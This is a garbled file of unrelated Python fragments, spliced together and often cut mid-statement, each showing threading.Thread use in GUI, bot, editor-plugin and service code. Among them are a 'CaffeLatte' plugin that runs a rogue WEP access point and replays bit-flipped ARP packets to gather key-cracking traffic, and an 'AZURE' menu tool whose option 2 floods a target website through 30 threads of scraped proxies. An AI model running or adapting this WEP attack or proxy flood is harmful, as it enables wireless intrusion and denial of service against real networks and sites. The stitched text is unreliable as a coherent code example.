Menu. import MainDisplay self._curDisplay = MainDisplay.MainDisplay(self._display.interior(), background_fname, buttons, self._onBtnLeave) self._curDisplay.pack(expand=1, fill='both') self._curDisplay.update_idletasks() # Save the Main Menu display; will be used when # user clicks "Return to Main Menu" button. self._mainDisplay = self._curDisplay self._display.component('borderframe')['bd'] = 0 self._display.component( 'clipper')['width'] = self._curDisplay.getWidth() + 4 self._display.component( 'clipper')['height'] = self._curDisplay.getHeight() + 4 # Create status display. self._statusBox = Pmw.Group(master, tag_pyclass=None) self._statusBox.pack(fill='x', padx=3, pady=2) self._statusText = Tkinter.Label(self._statusBox.interior()) self._statusText.pack(side='left', padx=5, pady=2) self._setDefaultStatusText() self._setStatusText() # Demo sets configuration. self._demoNames = { 'EARTH_SCI': ['Earth Sciences', 'earth_sciences.gif', '', '', ''], 'ENGINEERING': ['Engineering', 'engineering.gif', 'engineering_ss.gif', '', ''], 'AIR_POLLUTION': ['Air Pollution', 'air_pollution.gif', '', '', ''], 'CDAT_OVERVIEW': ['Overview', 'cdat_overview.gif', 'cdat_overview_ss.gif', '', ''], 'VISUAL': ['Visualization', 'visualization.gif', '', '', ''], 'DIAGNOSTICS': ['Diagnostics', 'diagnostics.gif', '', '', ''], 'XMGRACE': ['Xmgrace', 'xmgrace.gif', '', '', ''], 'DATA_ANALYSIS': ['Data Analysis', 'data_analysis.gif', '', '', ''], 'APP_DEVEL': [ 'Application Development', 'application_development.gif', '', '', '' ], } # Initialize demo sets to zero. for val in self._demoNames.values(): name = val[0] self._demos[name] = 0 def _setDefaultStatusText(self, arg=''): if arg == '': self._defaultStatusText = 'Welcome to the CDAT demo. Please select a topic.' else: self._defaultStatusText = arg def _onBtnLeave(self, event): self._setStatusText() def _onBtnEarthSciEnter(self, event): self._setStatusText('Select Earth Sciences topic.') def _onBtnEngineeringEnter(self, event): self._setStatusText('Select Engineering topic.') def _onBtnAirPollutionEnter(self, event): self._setStatusText('Select Air Pollution topic.') def _onBtnCDATOverviewEnter(self, event): self._setStatusText('Select CDAT overview topic.') def _onBtnVisualEnter(self, event): self._setStatusText('Select visualization topic.') def _onBtnVCDATLiteEnter(self, event): self._setStatusText('Run VCDAT in lite mode.') def _onBtnVCDATFullEnter(self, event): self._setStatusText('Run VCDAT in full mode.') def _onBtnDiagnosticsEnter(self, event): self._setStatusText('Select diagnostics topic.') def _onBtnXmgraceEnter(self, event): self._setStatusText('Select Xmgrace topic.') def _onBtnDataAnalysisEnter(self, event): self._setStatusText('Select data analysis topic.') def _onBtnAppDevelEnter(self, event): self._setStatusText('Select application development topic.') def _setStatusText(self, arg=''): if arg == '': self._statusText['text'] = self._defaultStatusText else: self._statusText['text'] = arg def _onAboutClose(self): self._about = 0 def _aboutDialog(self): if self._about != 0: return self._about = About.About(self._master, self._onAboutClose) # Disable resize of splash screen. self._about.resizable(height=0, width=0) #---------------------------------------------------------------- # Called when user clicks "Return to Main Menu" button. #---------------------------------------------------------------- def _onReturnDemo(self): # Remove current display self._curDisplay.pack_forget() # Set current display to be the Main Menu. self._curDisplay = self._mainDisplay self._curDisplay.pack() # Set ScrolledFrame dimensions. self._display.component( 'clipper')['width'] = self._curDisplay.getWidth() + 4 self._display.component( 'clipper')['height'] = self._curDisplay.getHeight() + 4 # Change title. self._master.title('CDAT Demo - Main Menu') # Reset status text. self._setDefaultStatusText() self._setStatusText() #---------------------------------------------------- # Callback for closing the source code viewer. #---------------------------------------------------- def _closeEditor(self): self._idleEditor.top.withdraw() self._idleEditor = 0 #---------------------------------------------------- # Display the Idle editor window. #---------------------------------------------------- def _showEditor(self, fname, onlyIfExists=False): # Bail if requesting an already existing editor, but editor not there. if onlyIfExists and not self._idleEditor: return # If editor already exists, just update the file. if self._idleEditor: self._idleEditor.top.deiconify() self._idleEditor.top.tkraise() self._idleEditor.io.loadfile(fname) return from idlelib import PyShell flist = PyShell.PyShellFileList(self._master) sys.ps1 = 'CDAT> ' from idlelib import EditorWindow self._idleEditor = EditorWindow.EditorWindow(root=self._master, filename=fname, flist=flist) self._idleEditor.top.protocol("WM_DELETE_WINDOW", self._closeEditor) # Delete the menubar options from the editor. self._idleEditor.menubar.delete('File') self._idleEditor.menubar.delete('Edit') self._idleEditor.menubar.delete('Format') self._idleEditor.menubar.delete('Run') self._idleEditor.menubar.delete('Options') self._idleEditor.menubar.delete('Windows') self._idleEditor.menubar.delete('Help') def _cbackGeneric(self, keywd): index = self._demoNames[keywd][0] fnameLogo = self._demoNames[keywd][1] fnameScreenshot = self._demoNames[keywd][2] balloon = self._demoNames[keywd][3] linky = self._demoNames[keywd][4] # Change the status text. self._setDefaultStatusText('CDAT ' + index + ' demo.') self._setStatusText() # Remove current display. self._curDisplay.pack_forget() # Set current display to be the selected demo set. self._curDisplay = DemoSet.DemoSet(self._display.interior(), fnameLogo, fnameScreenshot, keywd, balloon, linky, self._stdout, self._setStatusText, self._onReturnDemo, self._showEditor) self._curDisplay.pack(expand=0) # Set ScrolledFrame dimensions. self._display.component( 'clipper')['width'] = self._curDisplay.getWidth() + 4 self._display.component( 'clipper')['height'] = self._curDisplay.getHeight() + 4 # Change title. self._master.title('CDAT Demo - ' + index) def _cbackEarthSci(self): self._cbackGeneric('EARTH_SCI') def _cbackEngineering(self): self._cbackGeneric('ENGINEERING') def _cbackAirPollution(self): self._cbackGeneric('AIR_POLLUTION') def _cbackSpacePhys(self): self._cbackGeneric('SPACE_PHYS') def _cbackCDATOverview(self): self._cbackGeneric('CDAT_OVERVIEW') def _cbackVCDATLite(self): if self._threadVCDAT != 0: return self._threadVCDAT = Thread(target=self._callVCDATLite) self._threadVCDAT.start() self._setVCDATSelectionState('disabled') def _cbackVCDATFull(self): if self._threadVCDAT != 0: return self._threadVCDAT = Thread(target=self._callVCDATFull) self._threadVCDAT.start() self._setVCDATSelectionState('disabled') def _cbackVisual(self): self._cbackGeneric('VISUAL') def _cbackDiagnostics(self): self._cbackGeneric('DIAGNOSTICS') def _cbackXmgrace(self): self._cbackGeneric('XMGRACE') def _cbackDataAnalysis(self): self._cbackGeneric('DATA_ANALYSIS') def _cbackAppDevel(self): self._cbackGeneric('APP_DEVEL') def _callVCDATLite(self): # Run VCDAT in a blocking call, then reset after it returns. os.system('vcdat') self._threadVCDAT = 0 self._setVCDATSelectionState('active') def _callVCDATFull(self): # Run VCDAT in a blocking call, then reset after it returns. os.system('vcdat -f') self._threadVCDAT = 0 self._setVCDATSelectionState('active') def _setVCDATSelectionState(self, state): self._mainDisplay.getButton('Run VCDAT (Lite)')['state'] = state self._mainDisplay.getButton('Run VCDAT (Full)')['state'] = state self._menuBar.component('VCDAT').entryconfig(0, state=state) self._menuBar.component('VCDAT').entryconfig(1, state=state)
# Configure cogs sheets_client = GoogleSheetsClient() music_client = Music(bot) bot.add_cog(music_client) def start_bot(): print("I be Connecting to Discord...") with open("./secret/token.txt") as token_file: token = token_file.readline().strip() bot.run(token) # Run the bot on its own thread thread = Thread(target=start_bot, args=()) thread.start() # discord.py commands and events @bot.event async def on_ready(): print("Success! %s is online!" % bot.user.name) @bot.event async def on_message(message): author = message.author channel = message.channel server = channel.server
def create_thread(self): self.run_thread = Thread(target=self.method_in_a_thread, args=[8]) self.run_thread.setDaemon(True) self.run_thread.start()
def accept(self): while True: (client, address) = self.sock.accept() th = Thread(target=client_talk, args=(client, address)) th.run()
class HighlightChangesCore: # highlight modes MODE_DOTS = "dots" MODE_TEXT = "text" def __init__(self): self.settings = sublime.load_settings(__name__ + '.sublime-settings') self.regions = [] self._scope = "comment" self._current_region = 0 self.diff_thread = None def highlight_as_you_type(self): return self.settings.get("highlight_as_you_type", True) def highlight_delay(self): return self.settings.get("highlight_delay", 2000) # default delay is 2000ms def highlight_mode(self): return self.settings.get("highlight_mode", HighlightChangesCore.MODE_DOTS) # default mode is "dots" def goto_next_diff(self, view): if self._current_region >= len(self.regions): self._current_region = 0 if len(self.regions) > 0: view.show(self.regions[self._current_region]) self._current_region += 1 def get_diff(self, s1, s2): s = difflib.SequenceMatcher(None, s1, s2) unchanged = [(m[1], m[1] + m[2]) for m in s.get_matching_blocks()] diffs = [] prev = unchanged[0] for u in unchanged[1:]: diffs.append((prev[1], u[0])) prev = u return diffs def highlight_sync(self, view, currentText, filename, mode): try: with open(filename, "rU") as f: originalText = f.read().decode('utf8') diffs = self.get_diff(originalText, currentText) if mode == HighlightChangesCore.MODE_TEXT: self.regions = [Region(d[0], d[1]) for d in diffs if d[0] != d[1]] if mode == HighlightChangesCore.MODE_DOTS: self.regions = [Region(d[1], d[1]) for d in diffs if d[0] != d[1]] # execute in gui thread sublime.set_timeout(functools.partial(view.add_regions, "changes", self.regions, self._scope, "dot"), 1) except: pass def is_enabled(self, view): if (view.file_name() and os.path.exists(view.file_name())): fs = os.path.getsize(view.file_name()) / 1024 max_size = self.settings.get("max_allowed_file_size", 256) return fs < max_size else: return False def highlight(self, view): currentText = view.substr(Region(0, view.size())) filename = view.file_name() mode = self.highlight_mode() if self.is_enabled(view): self.diff_thread = Thread(target=self.highlight_sync, args=(view, currentText, filename, mode)) if self.diff_thread.is_alive(): pass #self.diff_thread._Thread__stop() #self.diff_thread.start() else: self.diff_thread.start() def clear(self, view): if view: view.add_regions("changes", [], "changes", "dot", sublime.DRAW_OUTLINED)
cs.sendMessage(msg.to, "Bye ! " + str(ginfo.name)) cz.sendMessage(msg.to, "Bye ! " + str(ginfo.name)) cl.leaveGroup(msg.to) ca.leaveGroup(msg.to) cs.leaveGroup(msg.to) cz.leaveGroup(msg.to) except: pass except Exception as error: print(error) except Exception as error: print(error) def thread(): while True: try: ops = oepoll.singleTrace(count=50) if ops is not None: for op in ops: mice(op) oepoll.setRevision(op.revision) except Exception as e: print(e) Thread(target=thread()).start() print("Started")
class CaffeLatte(AirScannerPlugin, AirInjectorPlugin): def __init__(self): super(CaffeLatte, self).__init__("caffelatte") self.sniffing_interface = self.config["sniffing_interface"] self.ap_ssid = self.config["ap_ssid"] self.ap_bssid = self.config["ap_bssid"] self.destination_folder = self.config["caffelatte_log"] try: self.channel = int(self.config["fixed_sniffing_channel"]) self.notification_divisor = int(self.config["notification_divisor"]) except: print "[-] 'sniffing_channel' and 'notification_divisor' must be Integer." print "[-] Setting to default values: channel = 11, notification_divisor = 2000" self.channel = 11 self.notification_divisor = 2000 self.wep_ap = MinimalWEP(self.ap_ssid, self.ap_bssid, self.channel, self.sniffing_interface) self.tcpdump_logger = None # tcpdump is used to capture packets because scapy is too slow and drops too many self.replay_attack_running = False self.replay_attack_thread = None self.filename = None self.original_arp_packets = [] self.flipped_arp_packets = [] self.target_client_mac = None self.n_captured_data_packets = 0 self.n_arp_packets_sent = 0 def identify_arp_packet(self, packet): return len(packet[Dot11WEP].wepdata) == 36 and \ packet[Dot11].addr1 == self.ap_bssid and \ packet[Dot11].addr3 == "ff:ff:ff:ff:ff:ff" def flip_bits(self, packet): wepdata = packet[Dot11WEP].wepdata # Skip first 4 bytes corresponding to IV and KeyID # The ICV is included in the cyphertext and corresponds to the last 4 bytes cyphertext = str(packet[Dot11WEP])[4:] flipped_packet = packet.copy() # Preserve the original wep packet # Create bitmask with same size as the encrypted wepdata, excluding the ICV bitmask = list('\x00' * len(wepdata)) # Flip bits of the bitmask corresponding to the last byte of sender MAC and IP respectively bitmask[len(wepdata) - 15] = chr(randint(0, 255)) bitmask[len(wepdata) - 11] = chr(randint(0, 255)) # Create crc32 checksum for the bitmask icv_patch = calc_crc32(bitmask) icv_patch_bytes = pack("<I", icv_patch) final_bitmask = bitmask + list(icv_patch_bytes) # Append the ICV patch to the bitmask data # Now apply the 'patch' to the wepdata and the icv by XORing the final_bitmask with the original cyphertext flipped_result = [ chr( ord(cyphertext[i]) ^ ord(final_bitmask[i]) ) for i in range(len(cyphertext)) ] final_result = str(packet[Dot11WEP])[:4] + "".join(flipped_result) # Put the results back in the packet flipped_packet[Dot11WEP] = Dot11WEP(final_result) # Now lets change the 802.11 information header to make it look like it came from a client. flipped_packet[Dot11].FCfield = "from-DS+retry+wep" flipped_packet[Dot11].addr1 = "ff:ff:ff:ff:ff:ff" flipped_packet[Dot11].addr3 = (packet[Dot11].addr2[:-2] + "%02x") % randint(0, 255) flipped_packet[Dot11].addr2 = self.ap_bssid return flipped_packet def replay_attack(self): socket = conf.L2socket(iface = self.sniffing_interface) flipped_packets = [] print "[+] Starting replay attack" while self.replay_attack_running: # Always send fresh new packets try: for p in self.flipped_arp_packets: socket.send(p) self.n_arp_packets_sent += 1 except: pass # No buffer space available.. skip and keep sending print "[+] Stopped replay attack from last ARP packet" socket.close() def pre_scanning(self): # Start WEP access point self.wep_ap.start() def prepare_logger(self, client_mac): # Prepare Log file timestr = strftime("%Y|%m|%d-%H|%M|%S") self.filename = "caffelatte_{s}_{c}_{t}.pcap".format(s = self.ap_ssid, c = client_mac, t = timestr) filter_str = "wlan type data and (wlan addr1 {c} or wlan addr2 {c} or wlan addr3 {c})".format(c=client_mac) self.tcpdump_logger = TCPDumpLogger(self.sniffing_interface, self.destination_folder + self.filename, filter_str) def flip_original_arp_packets(self): del self.flipped_arp_packets[:] for p in self.original_arp_packets: for i in range(5): self.flipped_arp_packets.append(self.flip_bits(p)) # Randomness is invlolved so it is not a duplicate packet. def handle_packet(self, packet): if not self.replay_attack_running: self.wep_ap.respond_to_packet(packet) if Dot11WEP in packet: if self.identify_arp_packet(packet): client_mac = ClientPacket(packet).client_mac if self.target_client_mac is None: self.target_client_mac = client_mac if self.target_client_mac == client_mac and len(self.original_arp_packets) < 5: print "[+] Found a new ARP packet" print "[+] Flipping and adding to the flipped packets ring." self.original_arp_packets.append(packet) self.flip_original_arp_packets() if not self.replay_attack_running: self.prepare_logger(client_mac) self.replay_attack_running = True self.replay_attack_thread = Thread(target=self.replay_attack) self.replay_attack_thread.start() self.tcpdump_logger.start_logging() else: if "iv" in packet[Dot11WEP].fields.keys(): self.n_captured_data_packets += 1 # increments count but only for comparison purposes # real count is from tcpdump if self.n_captured_data_packets % self.notification_divisor == 0 and \ self.n_captured_data_packets > 0: self.n_captured_data_packets = self.tcpdump_logger.get_wep_data_count() print "[+] tcpdump captured {} wep data packets so far...".format(self.n_captured_data_packets) def post_scanning(self): self.replay_attack_running = False self.wep_ap.shutdown() if self.tcpdump_logger is not None: if self.tcpdump_logger.is_logging(): self.tcpdump_logger.stop_logging() if self.replay_attack_thread is not None: self.replay_attack_thread.join()
class Agent(object): def __init__(self, _in=defaultIn, out=defaultOut, handler=None): self._in = _in self._out = out self._thread = None self.handler = handler self._write_lock = Lock() # Start the agent. # This method returns immediately def start(self): self._thread = Thread(target=self._read_loop) self._thread.start() # Wait for the Agent to terminate. # The Agent will terminate if STDIN is closed or an error occurs def wait(self): self._thread.join() self._in.close() self._out.close() # Write a response to STDOUT. # This method is thread safe. def write_response(self, response, flush=False): if response is None: raise Exception("cannot write None response") # Serialize message self._write_lock.acquire() try: data = response.SerializeToString() # Write message len encodeUvarint(self._out, len(data)) # Write message self._out.write(data) if flush: self._out.flush() finally: self._write_lock.release() # Read requests off input stream def _read_loop(self): request = udf_pb2.Request() while True: msg = 'unknown' try: size = decodeUvarint32(self._in) data = self._in.read(size) request.ParseFromString(data) # use parsed message msg = request.WhichOneof("message") if msg == "info": response = self.handler.info() self.write_response(response, flush=True) elif msg == "init": response = self.handler.init(request.init) self.write_response(response, flush=True) elif msg == "keepalive": response = udf_pb2.Response() response.keepalive.time = request.keepalive.time self.write_response(response, flush=True) elif msg == "snapshot": response = self.handler.snapshot() self.write_response(response, flush=True) elif msg == "restore": response = self.handler.restore(request.restore) self.write_response(response, flush=True) elif msg == "begin": self.handler.begin_batch(request.begin) elif msg == "point": self.handler.point(request.point) elif msg == "end": self.handler.end_batch(request.end) else: logger.error("received unhandled request %s", msg) except EOF: break except Exception as e: traceback.print_exc() error = "error processing request of type %s: %s" % (msg, e) logger.error(error) response = udf_pb2.Response() response.error.error = error self.write_response(response) break
def startreadingserial(self): for ard in self.ardlist: #q=self.mainbuf[i] t=Thread(target=self.ardserial,args=(ard,)) t.start()
def __init__(self, options, config): Auxiliary.__init__(self, options, config) Thread.__init__(self) self.enabled = config.screenshots_windows self.do_run = self.enabled
def start(self): self._thread = Thread(target=self._read_loop) self._thread.start()
else: print(received_message) messages.append(received_message) except OSError: print("Disconnected from the server") break def send_messages(): global messages while True: send_message = input() if send_message == "quit": client_socket.send(bytes(send_message, "utf8")) client_socket.close() sys.exit() elif send_message == "exportmessages": text_file = open("messages.txt", "w") text_file.writelines(messages) text_file.close() else: client_socket.send(bytes(send_message, "utf8")) Thread(target=receive_messages).start() Thread(target=send_messages).start()
def keep_alive(): t = Thread(target=run) t.start()
def testSpeed(self, testThread, cases): """Function to launch test threads and calculate upload/download speeds""" totalCases = len(cases) finishedBytes = [] startTime = [] finishTime = [] jobs = Queue(6) # Job queue, max 6 concurrent jobs baseTime = time.time() def testLauncher(q, cases): for case in cases: thread = testThread(baseTime, case, self.cancelEvent, self.quiet) thread.start() q.put(thread, True) def resultConsumer(q, totalCases): while len(finishedBytes) < totalCases: thread = q.get(True) while thread.isAlive(): thread.join(timeout=0.1) finishedBytes.append(thread.bytes) if thread.finishTime != 0: startTime.append(thread.startTime) finishTime.append(thread.finishTime) del thread launcher = Thread(target=testLauncher, args=(jobs, cases)) consumer = Thread(target=resultConsumer, args=(jobs, len(cases))) launcher.start() consumer.start() while launcher.isAlive(): launcher.join(timeout=0.1) while consumer.isAlive(): consumer.join(timeout=0.1) del launcher del consumer if self.cancelEvent.isSet(): return 0 return (sum(finishedBytes) / (max(finishTime) - min(startTime)))
class TestService(Job.Service): def __init__(self, messageInt, *args, **kwargs): """ While established the service repeatedly: - reads an integer i from the inJobStoreFileID file - writes i and messageInt to the outJobStoreFileID file """ Job.Service.__init__(self, *args, **kwargs) self.messageInt = messageInt def start(self, job): assert self.disk is not None assert self.memory is not None assert self.cores is not None self.terminate = Event() self.error = Event() inJobStoreID = job.fileStore.jobStore.getEmptyFileStoreID() outJobStoreID = job.fileStore.jobStore.getEmptyFileStoreID() self.serviceThread = Thread(target=self.serviceWorker, args=(job.fileStore.jobStore, self.terminate, self.error, inJobStoreID, outJobStoreID, self.messageInt)) self.serviceThread.start() return (inJobStoreID, outJobStoreID) def stop(self, job): self.terminate.set() self.serviceThread.join() def check(self): if self.error.isSet(): raise RuntimeError("Service worker failed") return True @staticmethod def serviceWorker(jobStore, terminate, error, inJobStoreID, outJobStoreID, messageInt): try: while True: if terminate.isSet(): # Quit if we've got the terminate signal logger.debug("Demo service worker being told to quit") return time.sleep(0.2) # Sleep to avoid thrashing # Try reading a line from the input file try: with jobStore.readFileStream(inJobStoreID) as fH: line = fH.readline() except: logger.debug("Something went wrong reading a line") raise # Try converting the input line into an integer try: inputInt = int(line) except ValueError: logger.debug("Tried casting input line to integer but got error: %s" % line) continue # Write out the resulting read integer and the message with jobStore.updateFileStream(outJobStoreID) as fH: fH.write("%s %s\n" % (inputInt, messageInt)) except: error.set() raise
class ExpfactoryRobot(object): ''' bring up a server with a custom robot Defaults ========== pause_time: time to wait between browser commands port: a random choice between 8000 and 9999 ''' def __init__(self, **kwargs): self.Handler = ExpfactoryServer if "port" in kwargs: self.port = kwargs['port'] else: self.port = choice(range(8000,9999)) bot.debug('Selected port is %s' %self.port) self.httpd = TCPServer(("", self.port), self.Handler) self.server = Thread(target=self.httpd.serve_forever) self.server.setDaemon(True) self.server.start() self.started = True self.pause_time = 100 self.browser = None self.headless = False self.display = None self.driver = "Chrome" if "browser" in kwargs: self.driver = kwargs['browser'] def validate(self, folder): '''validate is the first entrypoint function for running an experiment or survey robot. It ensures that the content is valid, and then calls _validate (should be defined in subclass)''' validator = ExperimentValidator() valid = validator.validate(folder) if valid is True: # IF missing favicon, add self._check_favicon(folder) valid = self._validate(folder) bot.log("[done] stopping web server...") self.httpd.server_close() else: bot.warning('%s is not valid, skipping robot testing.' %folder) def _validate(self, folder=None): '''_validate is required to be implemented in the subclass ''' raise NotImplementedError def _check_favicon(self, folder): '''add the expfactory favicon if the user doesn't already have one. ''' here = "%s/favicon.ico" %os.path.abspath(os.path.dirname(__file__)) there = '%s/favicon.ico' %folder if not os.path.exists(there): shutil.copyfile(here, there) def check_errors(self): if self.browser is not None: # Look at log from last call log = self.browser.get_log("browser") for log_entry in log: assert_equal(log_entry["level"] in ["WARNING","INFO"],True) def get_browser(self,name=None): '''get_browser return a browser if it hasn't been initialized yet ''' if name is None: name=self.driver service_log_path = "%s-driver.log" %name.lower() if self.browser is None: if name.lower() == "Firefox": self.browser = webdriver.Firefox(service_log_path=service_log_path) else: self.browser = webdriver.Chrome(service_log_path=service_log_path) return self.browser def get_page(self, url, name='Chrome'): '''get_page open a particular url, checking for Timeout ''' if self.browser is None: self.browser = self.get_browser(name) try: return self.browser.get(url) except TimeoutException: bot.error('Browser request timeout. Are you connected to the internet?') self.browser.close() sys.exit(1) def stop(self): '''close any running browser or server, and shut down the robot ''' if self.browser is not None: self.browser.close() self.httpd.server_close() if self.display is not None: self.display.close() # Run javascript and get output def run_javascript(browser,code): if self.browser is not None: return browser.execute_script(code)
class EventManager(MetricsReporter): def __init__(self, event_iterable, event_handlers, event_timeout=DEFAULT_EVENT_TIMEOUT_SECS): self.__reg = None self.__tags = None self.__stopped = False self.__q = Queue() self.__events = event_iterable self.__event_handlers = event_handlers self.__event_timeout = event_timeout self.__processed_count = 0 self.__started = False self.__started_lock = Lock() self.__processing_thread = Thread(target=self.__process_events) self.__pulling_thread = Thread(target=self.__pull_events) self.last_successful_event_epoch_s = 0 config_manager = get_config_manager() rebalance_frequency = config_manager.get_float(REBALANCE_FREQUENCY_KEY, DEFAULT_REBALANCE_FREQUENCY) if rebalance_frequency > 0: schedule.every(rebalance_frequency).seconds.do(self.__rebalance) reconcile_frequency = config_manager.get_float(RECONCILE_FREQUENCY_KEY, DEFAULT_RECONCILE_FREQUENCY) if reconcile_frequency > 0: schedule.every(reconcile_frequency).seconds.do(self.__reconcile) oversubscribe_frequency = config_manager.get_float(OVERSUBSCRIBE_FREQUENCY_KEY, DEFAULT_OVERSUBSCRIBE_FREQUENCY) if oversubscribe_frequency > 0: schedule.every(oversubscribe_frequency).seconds.do(self.__oversubscribe) def join(self): self.__pulling_thread.join() self.__processing_thread.join() def stop_processing_events(self): self.__stopped = True self.__events.close() self.join() def start_processing_events(self): with self.__started_lock: if self.__started: return self.__processing_thread.start() self.__pulling_thread.start() self.__started = True def get_queue_depth(self): return self.__q.qsize() def get_processed_count(self): return self.__processed_count def __rebalance(self): self.__put_event(REBALANCE_EVENT) def __reconcile(self): self.__put_event(RECONCILE_EVENT) def __oversubscribe(self): self.__put_event(OVERSUBSCRIBE_EVENT) def __pull_events(self): for event in self.__events: self.__put_event(event) def __put_event(self, event): event = json.loads(event.decode("utf-8")) if event[ACTION] in HANDLED_ACTIONS: log.info("Enqueuing event: {}, queue depth: {}".format(event[ACTION], self.get_queue_depth())) event[ENQUEUE_TIME_KEY] = time.time() self.__q.put(event) if self.__reg is not None: self.__reg.counter(ENQUEUED_COUNT_KEY, self.__tags).increment() self.__reg.counter(self.__get_enqueued_metric_name(event), self.__tags).increment() def __process_events(self): while not self.__stopped: try: event = self.__q.get(timeout=self.__event_timeout) dequeue_time = time.time() log.info("Dequeued event: {}, queue depth: {}".format(event[ACTION], self.get_queue_depth())) if self.__reg is not None: self.__reg.counter(DEQUEUED_COUNT_KEY, self.__tags).increment() self.__reg.counter(self.__get_dequeued_metric_name(event), self.__tags).increment() self.__reg.distribution_summary(QUEUE_LATENCY_KEY, self.__tags).record(dequeue_time - event[ENQUEUE_TIME_KEY]) except Empty: log.debug("Timed out waiting for event on queue.") continue for event_handler in self.__event_handlers: try: log.info("{} handling event: {}".format(type(event_handler).__name__, event[ACTION])) event_handler.handle(event) self.__report_succeeded_event(event_handler) except: log.exception("Event handler: '{}' failed to handle event: '{}'".format( type(event_handler).__name__, event)) self.__report_failed_event(event_handler) self.__q.task_done() self.__reg.counter(EVENT_PROCESSED_KEY, self.__tags).increment() self.__reg.gauge(QUEUE_DEPTH_KEY, self.__tags).set(self.get_queue_depth()) self.__processed_count += 1 def __report_succeeded_event(self, event_handler: EventHandler): if self.__reg is not None: self.__reg.counter(self.__get_event_succeeded_metric_name(event_handler), self.__tags).increment() self.__reg.counter(EVENT_SUCCEEDED_KEY, self.__tags).increment() self.last_successful_event_epoch_s = datetime.utcnow().timestamp() def __report_failed_event(self, event_handler: EventHandler): if self.__reg is not None: self.__reg.counter(self.__get_event_failed_metric_name(event_handler), self.__tags).increment() self.__reg.counter(EVENT_FAILED_KEY, self.__tags).increment() @staticmethod def __get_event_succeeded_metric_name(event_handler: EventHandler) -> str: return "titus-isolate.{}.eventSucceeded".format(type(event_handler).__name__) @staticmethod def __get_event_failed_metric_name(event_handler: EventHandler) -> str: return "titus-isolate.{}.eventFailed".format(type(event_handler).__name__) @staticmethod def __get_enqueued_metric_name(event) -> str: return "titus-isolate.{}.eventEnqueued".format(event[ACTION]) @staticmethod def __get_dequeued_metric_name(event) -> str: return "titus-isolate.{}.eventDequeued".format(event[ACTION]) def set_registry(self, registry, tags): self.__reg = registry self.__tags = tags def report_metrics(self, tags): pass
def __init__(self, window): Thread.__init__(self) self.window = window
return result def __init__(self, baseTime, case, cancelEvent=None, quiet=True): self.baseTime = baseTime self.url = case[0] self.cancelEvent = cancelEvent self.quiet = quiet self.bytes = 0 self.startTime = 0 self.finishTime = 0 size = case[1] self.data = SpeedTest.FileUploader.DummyFile(size) Thread.__init__(self) def run(self): try: headers = {'Content-length': '%d' % self.data.length} request = Request(self.url, self.data, headers) self.startTime = time.time() if (self.startTime - self.baseTime) > SpeedTest.MAX_TEST_TIME: if not self.quiet and not self.cancelEvent.isSet(): sys.stdout.write('x') sys.stdout.flush() return if not self.cancelEvent.isSet(): f = urlopen(request, self.data)
def build(self): customerScreen = CustomerClass() """server-client thread""" Thread(target=connectToTheServer, args=[customerScreen]).start() return customerScreen.widget_main
def Menu(): os.system('cls') print(""" █████╗ ███████╗ ██╗ ██╗ ██████╗ ███████╗ ██╔══██╗ ╚══███╔╝ ██║ ██║ ██╔══██╗ ██╔════╝ ███████║ ███╔╝ ██║ ██║ ██████╔╝ █████╗ ██╔══██║ ███╔╝ ██║ ██║ ██╔══██╗ ██╔══╝ ██║ ██║ ███████╗ ╚██████╔╝ ██║ ██║ ███████╗ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝""") print("") print("Welcome to AZURE! One of the best ways to handle Script Kiddies!") print("Please choose an option below!") print("") print("1) IP Lookup") print("2) IP Logger Flood (No VPN Required)") print("3) Website Lookup (Find Website IP and other Info)") print("4) Get SSL Proxies") choice = input(">> ") # IP LOOKUP if choice == "1": os.system('cls') print(""" █████╗ ███████╗ ██╗ ██╗ ██████╗ ███████╗ ██╔══██╗ ╚══███╔╝ ██║ ██║ ██╔══██╗ ██╔════╝ ███████║ ███╔╝ ██║ ██║ ██████╔╝ █████╗ ██╔══██║ ███╔╝ ██║ ██║ ██╔══██╗ ██╔══╝ ██║ ██║ ███████╗ ╚██████╔╝ ██║ ██║ ███████╗ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝""") print("") print("Please enter an IP to track!") ip = input("IP: ") r = requests.get(f'http://extreme-ip-lookup.com/json/{ip}') data = r.json() print("Here is the information we got!") print("") print("IP: " + data["query"]) print("Region: " + data["region"]) print("City: " + data["city"]) print("Country: " + data["country"]) print("Hostname: " + data["ipName"]) print("ISP: " + data["isp"]) print("") input("Press Enter to go back to the menu!") Menu() # WEBSITE FLOOD (Proxies) if choice == "2": os.system('cls') print(""" █████╗ ███████╗ ██╗ ██╗ ██████╗ ███████╗ ██╔══██╗ ╚══███╔╝ ██║ ██║ ██╔══██╗ ██╔════╝ ███████║ ███╔╝ ██║ ██║ ██████╔╝ █████╗ ██╔══██║ ███╔╝ ██║ ██║ ██╔══██╗ ██╔══╝ ██║ ██║ ███████╗ ╚██████╔╝ ██║ ██║ ███████╗ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝""") print("") print("Please enter the target site (Include https:// or http://)") target = input("URL: ") message = input("Message (user-agent): ") session = HTMLSession() r = session.get('https://www.sslproxies.org/') input("Press enter to start!") def spam_em(proxy, message): try: while True: r = requests.get(target, proxies={ 'https': proxy[0] + ':' + proxy[1], 'http': proxy[0] + ':' + proxy[1] }, headers={"User-Agent": message}) print("Request sent from proxy: " + str(proxy[0] + ':' + proxy[1]) + " with user-agent: " + message) except: pass proxies = list( zip( r.html.xpath( '//*[@id="proxylisttable"]/tbody/tr/td[1]/text()'), r.html.xpath( '//*[@id="proxylisttable"]/tbody/tr/td[2]/text()'))) for i in range(30): Thread(target=spam_em, args=( random_choice(proxies), message, )).start() spam_em(random_choice(proxies), message) # WEBSITE LOOKUP if choice == "3": os.system('cls') print(""" █████╗ ███████╗ ██╗ ██╗ ██████╗ ███████╗ ██╔══██╗ ╚══███╔╝ ██║ ██║ ██╔══██╗ ██╔════╝ ███████║ ███╔╝ ██║ ██║ ██████╔╝ █████╗ ██╔══██║ ███╔╝ ██║ ██║ ██╔══██╗ ██╔══╝ ██║ ██║ ███████╗ ╚██████╔╝ ██║ ██║ ███████╗ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝""") print("") print("Please enter the website!") website = input("Website: ") websiteip = socket.gethostbyname(website) r = requests.get(f'http://extreme-ip-lookup.com/json/{websiteip}') website_data = r.json() print("Here is the information we gathered for: " + website + "(" + websiteip + ")") print("ISP: " + website_data["isp"]) print("City: " + 